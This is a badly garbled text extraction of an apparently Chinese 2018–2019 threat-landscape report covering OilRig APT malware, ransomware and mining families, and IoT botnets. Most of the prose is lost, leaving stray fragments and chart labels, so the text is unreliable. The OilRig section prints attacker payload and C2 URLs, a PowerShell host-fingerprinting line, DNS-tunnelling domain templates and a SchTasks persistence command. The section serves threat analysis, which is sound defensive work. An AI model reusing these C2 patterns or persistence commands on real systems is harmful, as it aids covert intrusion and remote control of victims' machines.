ClsV2 run  

run https://gist.github.com/BahNahNah/ad367b320f5e62f59b38

Oilrig

DLL ASCII ɺ 

 

 
图 262 OilRig 组织分析配图 3 

 

ISMAgent PE

ISMAgent  

C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe  

PE  

 

PolicyLab.dll C# 7ea294ede696d38377ab1269dd408b6d 

ISMAgent RAT C++ 8f39e782211d8e65158c98fb7dc85698 

表 39 OilRig 组织表格 3 

 

 

HTTP

DNS ɺ 

Base64 HTTP URL

DNS ɺ 

https://gist.github.com/BahNahNah/ad367b320f5e62f59b38


 

2018~2019  

 

 

 

 GUID  

 Unknown 
 

 URL TEMP  

 Powershell powershell TEMP

runlog[rand].tmp  

 FilePath C&C  

表 40 OilRig 组织表格 4 

 

攻击事件 B：  

事件描述 

2017 11 14 CVE-2017-11882 FireEye

ɺ 

样本分析 

doc CVE-2017-11882

hxxp://mumbai-m[.]site/b.txt mshta.exe hta hta

hxxp://dns-update[.]club/v.txt VBS VBS

ɺ 

C:\ProgramData\Windows\Microsoft\java\GoogleUpdateschecker.VBS 

C:\ProgramData\Windows\Microsoft\java\hUpdateCheckers.ps1 

C:\ProgramData\Windows\Microsoft\java\dUpdateCheckers.ps1 

C:\ProgramData\Windows\Microsoft\java\cUpdateCheckers.bat 

 

 

 

图 263 OilRig 组织分析配图 4 

 

 



 

2018~2019  

 

dUpdateCheckers.ps1(BONDUPDATER)  

powershell WMI UUID  

get-wmiobject Win32_ComputerSystemProduct  | Select-Object -ExpandProperty 

UUID | %{$_.replace('-' '')} | %{$_ + "120120011224"} | %{$_.substring(0 12)}; 

DGA  

[random string][0][000][computer UUID Decrypt][B007][.][mumbai-m.site] 

 

 

指令 操作 

0  

1 .ps 

2 .VBS 

表 41 OilRig 组织表格 5 

 

hUpdateCheckers.ps1(POWRUNER)  

powershell  

[http://www.mumbai-m.site/update_wapp2.aspx?version=[$dar.Insert($cr[0]  

$ridIn.Trim()).Insert(($cr[1])  ${UUID})][str]7[random_index1][random_index2]] 

URL

base64

ɺ 

 

 

图 264 OilRig 组织分析配图 5 



 

2018~2019  

 

 

 

指令 操作 

0  

1  

2  

表 42 OilRig 组织表格 6 

 

cUpdateCheckers.bat  

GoogleUpdateschecker.VBS  

GoogleUpdateschecker.VBS  

dUpdateCheckers.ps1 hUpdateCheckers.ps1 

 

攻击事件 C： 

事件描述 

2018 1 8 OilRig Beirut Insurance Seminar Invitation

ɺOilRig

ɺ ɺ

ɺ Seminar-

Invitation.doc ThreeDollars ɺ

OopsIE ɺ 

样本分析 

ɺ 

%APPDATA% Tmp.doc

##$$$ ##$$$

%APPDATA%\Base.txt ɺ Certutil -decode Base.txt

Base64 %programdata%\IntelSecurityAssistManager.exe

PE ɺ VBA VBS %APPDATA%\chkSrv.VBS ɺ

chkSrv.VBS

user32.dll ɺ 

e0bf38e77143363bf761d52039d3e171(IntelSecurityAssistManager.exe)|OopsIE 

PE C# OopsIE

ɺ  





 

2018~2019  

 

[day][Hour][Second][millisecond].tmp

True 16

ɺ 

 

000000 z 

00000 x 

0000 y 

000 g 

00 w 

01 t 

表 43 OilRig 组织表格 7 

 

False

1500 tmp

tmp ɺ 

 

1ɹ  

 

Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + 

"\\srvCheckresponded.tmp" 

VBS

Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + 

"\\srvResesponded.VBS  

2ɹ  

VBS ɺ %app% srvResesponded.VBS

Sch %path% srvResesponded.VBS cmd

Sch "SchTasks /Create /SC MINUTE /MO 3 /TN 

\"InetlSecurityAssistManager\" /TR \"wscript %path%\" /f"ɺ 

3ɹ DLL  



 

2018~2019  

 

ClearProjecError()

S1 S2 Gzip

Interop.SHDocVw.dllɺ 

4ɹ  

 

 

 

图 267 OilRig 组织分析配图 9 

 

ComputerInfo_HEX

[computername]/[machinename] 16

URL ɺ 

SHDocVw.dll

InternetExplorer ɺ

HTML <pre></pre>

srvCheckresponded.tmp srvCheckresponded.tmp

ɺ 

5ɹ C&C  

what text text

Oops <> ɺ flag

flag flag  

 

1 cmd.exe /c Hex2Str(reqests info) > tmpCa.VBS 

 

http://www.msOffice365cdn.com/resp?[ComputerHex]AAZ[FileLines] 

 

http://www.msOffice365cdn.com/resp?[ComputerHex]AAZFinish 

tmpCa.VBS  

2  

array[0]:  

array[1]:  

 



 

2018~2019  

 

http://www.msOffice365cdn.com/resp?[ComputerHex]AAZUploaded 

3  

http://www.msOffice365cdn.com/resp?[ComputerHex]ABZ[FileLines] 

  

http://www.msOffice365cdn.com/resp?[ComputerHex]ABZFinish 

 

http://www.msOffice365cdn.com/resp?[ComputerHex]AAZ[ChangeInfo2He

 

others  

表 44 OilRig 组织表格 8 

 

攻击事件 D： 

事件描述 

Paloaloto 2018 9 OilRig

ɺ 

样本分析 

ɺ 

 

 
图 268 OilRig 组织分析配图 10 

 

ɺ  

 

VVVV C:\ProgramData\WindowsAppPool   



 

2018~2019  

AAAA 1. C:\ProgramData\WindowsAppPool\AppPool.VBS  

2.  HGHG  

HGHG PS C:\ProgramData\WindowsAppPool\AppPool.ps1 

表 45 OilRig 组织表格 9 

 

AppPool.VBS 

VBS [C:\ProgramData\WindowsAppPool\quid]

C:\ProgramData\WindowsAppPool\AppPool.ps1  

C:\ProgramData\WindowsAppPool\AppPool.VBS

C:\ProgramData\WindowsAppPool\AppPool.ps1ɺ 

AppPool.ps1 

Powershell powershell

 

 

Mxa \\ 

SGF $ 

X9P  

7rn | 

ZxV  

表 46 OilRig 组织表格 10 

 

BONDUPDATER  

 

 

 

图 269 OilRig 组织分析配图 11 



 

2018~2019  

 

GUID 8 10-99

Guid_content Guid_content

$WWC $VVC DDDɺ 

$WWC DNS

 

 

M A/TXT C&C  

0 A  

1 A  

2 A  

W TXT  

D TXT  

P TXT A  

表 47 OilRig 组织表格 12 

 

$ZZC  

[$DDD][$AAD][Random[1-7]*[0-9A-F]]C[Random[0-9]][Randomp[0-

9]]T.$XXC.YYC.withyourface.com 

 

[$DDD][$AAD][Random[1-7]*[0-9A-F]]C[Random[0-9]][Randomp[0-

9]]T.withyourface.com 

AAD  

000$number $number < 10 

00$number $number < 100 

0$number $number < 1000 

$number $number >= 1000 

表 48 OilRig 组织表格 13 



 

2018~2019  

 

DNS  

 

图 270 OilRig 组织分析配图 12 

 

C&C IP 53 UPD

 

[UDP_Header][a4 a3 01 00 00 01 00 00 00 00 00 00 

   

  00 10 00 10] 

DNS  

 

DNS C&C

*-| (base64 )

 

 

 $ZZD  

 $ZZD $AAE $ct 0 

 $ct $data base64 $byts  

  $byts $AAE 

 $ct 0 

表 49 OilRig 组织表格 14 

 

 



 

2018~2019  

 

$AppPool_path\\$Guid_Content\\receivebox rcvd

rcvd proc

 

 

0 rcvd cmd.exe sendbox

proc  

1 sendbox proc  

Any other 

character 

sendbox proc done  

表 50 OilRig 组织表格 15 

 

 

[0 1] C&C DNS A

 

 

11.24.237.110  

24.125.\d{1 3}.\d{1 3} rcvd  

\d.\d.\d.\d  

1.2.3.\d{1 3}  

表 51 OilRig 组织表格 16 

 

 

proc

16 30 16

30

2 C&C DNS

253.25.42.87

ɺ 
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图 272 主要勒索病毒家族数量分布 

 

GlobeImposterɹGandCrabɹCrysis 89%

ɺ 

ɹ

ɺ 

 

 

 

 

Scarab

11%

Crysis/Dharma

10%

GandCrab

7%

Jigsaw

5%

Matrix

5%

Hidden Tear

4%
Everbe

3%

RotorCrypt

3%
Globelmposter

2%

LockCrypt

2%

Xorist

1%

CryptoMix

1%

Paradise

1%
XiaoBa

1%CryptConsole

1%

PyLocky

1%Unlock92

1%

Argus

1%

Aurora

1%

B2DR

1%

BlackHeart

1%

CryptON

1%

DelphiMorix

1%

STOP 

Ransomware

1%

Wannacry

1%

WhiteRose

1%

其他

35%

主要勒索病毒家族数量
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图 273 针对国内攻击的勒索病毒家族统计 

 

ɺ

Tomcat

VNC FTP ɺ ɺ

RDP ɹMimikatz

ɺ 

 

 

图 274 勒索病毒传播方式分布 

GlobeImposte

r

44%

GandCrab

24%

Crysis/Dharm

a

20%

Hermes

5%

WannaCry

5%

其他

2%

针对国内攻击的勒索病毒家族统计

远程桌面弱口

令传播

49%

漏洞传播

19%

邮件传播

12%

僵尸网络传播

8%

其他弱口令传

播

6%

软件捆绑传播

3%

其他

3%

勒索病毒传播方式分布
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1、勒索软件即服务模式（RaaS）兴起，勒索病毒趋向产业化 

ɺ

RaaS 

ɺ 

RaaS 2018 GandCrab

ɺ2019 GandCrab

RaaS 20 ɺ

FilesLocker ɺ 

2、定向投递成为勒索软件传播的主要方式 

ɺ

ɺ

ɺ

ɺ

ɺ

14 ɺ GandCrab 20

ɺ 

GlobeImposterɹGandCrabɹCrysis

ɺ ɺ 

2018 2 SamSam

ɺ 

2018 4 VevoLocker

ɺ 

2018 7 Satan ɺ 

2018 7 GlobeImposter

ɺ 

2018 8 Wannacry

2.56 ɺ 

2018 10

ɺ

ɺ 



 

2018~2019  

 

2019 3 GandCrab

3 11 3

ɺ 

3、勒索软件开发趋向于敏捷化 

ɺ GandCrab

ɺ GandCrab

ɺ 

 

2018年1月1日 2018年12月31日

2018年1月29日

GandCrab V1出现

2018年2月27日

GandCrab V1解密工具发布

2018年3月5日

GandCrab V2发布
之前的解密工具失效

2018年2月2日

GandCrab正以Raas形式被销售

2018年4月17日

Magnitude EK分发GandCrab

2018年4月23日

GandCrab V2.1版本出现

2018年5月4日

GandCrab V3版本出现

2018年5月9日

GandCrab V3.0.1版本出现

2018年7月3日

GandCrab V4版本出现

2018年7月5日

GandCrab V4.1版本出现

2018年8月6日

GandCrab V4.3版本出现

2018年9月6日

Fallout Exploit Kit分发GandCrab

2018年9月25日

GandCrab V5版本出现

2018年10月10日

GandCrab V5.0.3版本出现

2018年10月17日

GandCrab为叙利亚受害者公布部分版本密钥

2018年10月25日

安全厂商发布GandCrab解密工具

2018年12月3日

GandCrab V5.0.9版本发布

2018年12月18日

GandCrab发布多个新版本

 
 

4、勒索、挖矿、僵尸网络捆绑传播新套路 

ɹ ɹ

ɺ 

1 AZORult ɺ

Hermes ɺ

AZORult GandCrab ɺ 

2 2018 4 Iron Group ɹ ɹ

ɹ Xbash Linux ɹ

Windows ɺ 

3 Emotet TrickBot TrickBot

Ryuk ɺ Ryuk 5

400 ɺ 

5、国产化勒索病毒逐渐崭露头角 

2018 ɺ ɺ GandCrab

 

ɺ

ɺ 

 



 

2018~2019  

 

1 2018 3 QQ

ɺ 3

ɺ 

2 2017 XiaoBa ɺ

ɺ

.xiaoba[ ] ɹ

ɺ 200

ɺ 

3 2018 12 UNNAMED1989

10 ɺ 110

ɺ 

5.2 主要勒索病毒家族介绍 

1、GlobeImposter 家族 

 

RDP SMB  

GlobeImposter1.0ɹGlobeImposter2.0ɹGlobeImposter3.0ɹ

GlobeImposter4.0 

ɹ ɹ  

RSA+AES  

 

 

: 

2018 2 GlobeImposter  

2018 9 GlobeImposter  

2018 7 GlobeImposter

ɺ

1 ɺ 

2019 3 GlobeImposter 3.0 ɺ

.snake4444

ɺ RDP

ɺ 



 

2018~2019  

 

2、GandCrab 家族 

 

ɹ ɹ ɹ ɹ  

RDPɹVNC

RaaS 

WinRAR CVE-2018-20250 SMB Win10 CVE-

2018-0896 CVE-2018-8120 WebLogic  

GandCrab1.0-GandCrab5.2  5  

RSA+AES  

 

GandCrab5.1 GandCrab5.0.4  

: 

2018 1 GandCrab

ɺ 

2019 3 GandCrab

3 11 3

03-11-2019.rar ɺ

GandCrab 5.2 ɺ

IP ɺ 

3、Crysis/Dharma 家族 

 

ɹ  

RDP ɹ  

ɹ  

.dharmaɹ.arenaɹ.javaɹ.arrowɹ.bip  

RSA+AES  

 

 

: 

2018 6 CrySiS  

2018 7 ɹ ɹ crysis   

5.3 挖矿攻击态势综述 





 

2018~2019  

 

 

ɺ

WannaCry 14

ɺ ɺ

ɺ

ɺ 

ɺ

ɺ 

 

 

图 277 挖矿木马攻击入口分布 

 

ɺ ɺ 

 

漏洞名称 漏洞编号 相关挖矿木马家族或事件 

 

CVE-2017-0143 

CVE-2017-0144 

CVE-2017-0145 

CVE-2017-0146 

WannaMiner  

MyKings  

NSABuffMiner  

NSAMsdMiner  

漏洞传播

34%

弱口令传播

29%

捆绑传播

28%

网页传播

8%

可移动存储传播

1%

挖矿木马攻击入口分布



 

2018~2019  

CVE-2017-0148 Blouiroet

BuleHero 

JBoss  JBoss (CVE-

2013-4810) 

JBoss (CVE-

2010-0738) 

JBoss

CVE-2017-12149  

8220  

Apache Struts2

 

Apache Struts2

(S2-045) 

Apache Struts2

(S2-057) 

KoiMiner Satan  

KoiMiner  BuleHero 

Dupal

 

CVE-2018-7600 

CVE-2018-7602 

8220  Kitty 

Tomcat  Tomcat

CVE-2017-12615  

Satan BuleHero 

WebLogic  WebLogic WLS

CVE-

2017-3506  

WebLogic WLS

CVE-

2017-10271 CVE-

2018-2628 CVE-2018-

2894 

watch-smartd 

 

ThinkPHP  ThinkPHP5

(CNVD-2018-24942) 

ibus 

 

Jenkins  CVE-2018-1000861 Kerberods 

Confluence

 

CVE-2019-3396 

CVE-2019-3398 

seasame 

 

Samba

SambaCry  

 

CVE-2017-7494 EternalMiner 

Hadoop Yarn REST API 

 

 8220  

http://www.cnvd.org.cn/flaw/show/CNVD-2018-24942
http://www.cnvd.org.cn/flaw/show/CNVD-2018-24942
https://paper.seebug.org/886/
https://paper.seebug.org/886/


https://github.com/vulhub/vulhub/tree/master/spring/CVE-2018-1273
https://github.com/vulhub/vulhub/tree/master/spring/CVE-2018-1273
https://www.4hou.com/malware/18408.html
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3、挖矿木马已成为各种木马技术集大成者 

2018 ɺ 

Fileless ɺ

ɺ

Powershell WMI ɹ ɹ ɺ 

ɺ 

ɺ 

ɺ 

4、各类漏洞成为挖矿团伙的“武器库”，挖矿团伙利用漏洞的速度越来越快 

Web ɹ

ɺ

ɺ ɺ 

5.4 主要挖矿木马家族介绍 

1、MyKings 挖矿家族 

MyKings 2017 2

MiraiɹMasscanɹ III ɺ

SQL SERVER ɹFTP

DDoSɹProxy ɹ

RAT ɹMiner ɺ

ɺMykings Github

ɺ2018 5 MyKings NSISMiner

ɺ2019 1 MyKings III ɺ 

2、8220 团伙 

8220 2018 8

ɺ

8220  

ɺ

GandCrab ɺ 

3、Wannamine 挖矿家族 



 

2018~2019  

 

WannaMine WannaCry

ɺ WannaMine

Mimikatz

ɺ 2018

WannaMine 3.0 ɺ 
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6.1 IoT 设备攻击态势综述 

1999 Kevin Ashton Internet of Things

20 ɺ2018 IoT 75

ɺ 2021 ɺ ɹ

ɹ

ɺ 

ɺ

ɹ ɹ

ɺ IoT

ɹ

1% ɺ

PCɹ

ɺ 

IoT ɺ

DDoS ɹ ɹ ɹ

ɺ 

VenusEye 2018 IoT

21.49% ɺ 16.03% 5.65%

4.69% 4.61% ɺ 
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图 279 全球 IoT 僵尸主机分布情况 

 

2018 IoT 17.22% ɹ

14.38% ɹ 7.12% ɹ 5.19% 3.70% ɺ 

 

 

图 280 全国 IoT 僵尸主机分布情况 
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2018 IoT C&C 19.19%

C&C 8.18% 8.03%

6.79% 3.77% ɺ 

 

 

图 281 全球 IoT 僵尸网络命令控制服务器分布情况 

 

2018 IoT C&C

12.20% ɹ 8.19% ɹ 6.28% 5.23% ɺ 
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NetCore 53413/UDP  

D-Link DIR-645 (CVE-2015-2051) 

表 57 被攻击最多的路由器漏洞 

 

IoT

ɺ ɺ

 

ɹ ɹ ɹ ɹ ɹ

ɹ ɺ DDoS ɹ

ɹ ɺ

ɺ  

 

HTTP_ _NetGear  

HTTP_JAWS _shell  

HTTP_AVTECH _SSRF  

Hikvision  

Dahua  

HTTP_AVTECH_DVR_ _  

XiongMai uc-httpd 1.0.0  

Avtech  

Kguard Digital Video Recorder  

HiSilicon DVR/NVR Soc  

CCTV-DVR  

Belkin NetCam   

表 58 被攻击最多的摄像头漏洞 

 

IoT

 

1、IoT 设备已经开始被用来进行 APT 攻击 

VPNFilter IoT APT ɺ

2018 5 54 500000 NAS

VPNFilter LinkSyS Mikrotik Netgear QNAP TP-Link D-

Link ɹ ɹ ɹ

APT ɺ 
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6.2 主要攻击 IoT 设备的病毒家族介绍 

15 IoT ɺ

Hajime Mirai ɺ 

 

 

图 283 流行 IoT 蠕虫家族分布 

 

1、ADB.Miner 

2018 2 7500+ ɺ

Mirai SYN ɺ 5555 ADB

USB

ɺ 

2、Hide ‘N Seek 

2018 1 170 P2P ɺ IP

10W ɺ Mirai (23

80/8080 2480 5984)

OrientDB CouchDB (JAWS DVR CCTV)

(HomeMatic Zentrale CCU2) ɺ 

3、Satori CoinTobber 

Satori (HG532)

D-Link DSL-2750B 2018 5 GPON  

IoT

Hajime Mirai HNS MIORI Bushido APOPHIS Owari HIKARI

Amnesic OWARI Larry Helios FBOT Hakai Gemini
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DDoS ɺ 

4、Muhstik 

2018 4 11  

(80 8080 7001 2004 ) ɺ

DDoS ɺ 

5、VPNFilter 

2018 5 54 500000

NAS VPNFilter LinkSySɹMikrotikɹNetgearɹ

QNAPɹTP-LinkɹD-Linkɹ ɹ

APT ɺ  

1 IoT

ɺ 

2 TOR C&C 3

ɺ 

3

TOR ɺ 

6、Prowli  

2018 6 40000

DSL IoT ɺ ɺ 

7、Anarchy  

2018 7 18000 CVE-2017-17215 CVE-2014-

8361 ɺ 

8、Death  

2018 6 14 AVTech DVR NVR

ɺ 

9、Ghost DNS  

DNS 10000

70 ɺ web dnscfg.cgi

DNS Rogue DNS Server 52

ɺ 

10、HaKai  

2018 7 Mirai Gafgyt IoT

ɺ D-Link ɺ 

11、Trinity 
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2018 9 ADB

ADB.Miner ɺ 

12、Fbot  

2018 9 ADB Trinity ɺ 

Satori DNS ɺ2019

2 HiSilicon DVR/NVR Soc HTTP

DDoS ɺ 

13、Bushido  

2018 9 Mirai DDoS

ɺ 

14、BCMUPnP_ Hunter  

2018 9 BroadCom UPnP

ɺ 

15、Chalubo 

2018 8 SSH ɺ

Lua ChaCha

DDoS ɺ 
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7.1 网络空间成为国家级对抗战场 应加强国家关键基础设

施保护 

ɺ ɹ ɹ

ɺ 112

ɺ 

ɺ 

2017 APT33 ɺ 

2018 Saipem

ɹ 10% ɺ 

2018 BlackEnergy GreyEnergy

ɹ ɺ 

2018

ɺ 

2019 ɺ 

ɹ ɺ 

ɹ

ɺ ɺ 

7.2 网络安全强国建设必须依靠强大的“中国芯” 

ɺ ɹ

ɺ

ɺ2018

ɺ 

ɺ

ɹ ɹ

ɺ

ɺ 

ɺ

ɺ 

http://country.huanqiu.com/china?agt=46?fr
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7.3 大量新技术应用带来的安全问题给网络安全行业带来

新挑战 

IPV6ɹ5Gɹ ɹ ɹ ɹ

ɺ 

ɹ

ɺ ɹ

ɺ

100% ɺ

ɺ 

IPv6 IPv4

IPv6 ɺ 

5G 10Gbps 4G 1 Gbps

ɺ5G IoT 5G

ɺ 

ɺ

ɺ

ɺ 

7.4 外部环境变化给网络安全提出新要求 安全厂商应加强

产品的实战能力和闭环能力  

ɺ

ɺ

ɺ

ɺ 

ɹ ɹ ɹ ɺ

ɺ 

RSA ɹ ɹ  
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ɺ 

2019 RSA Better

ɹ

 


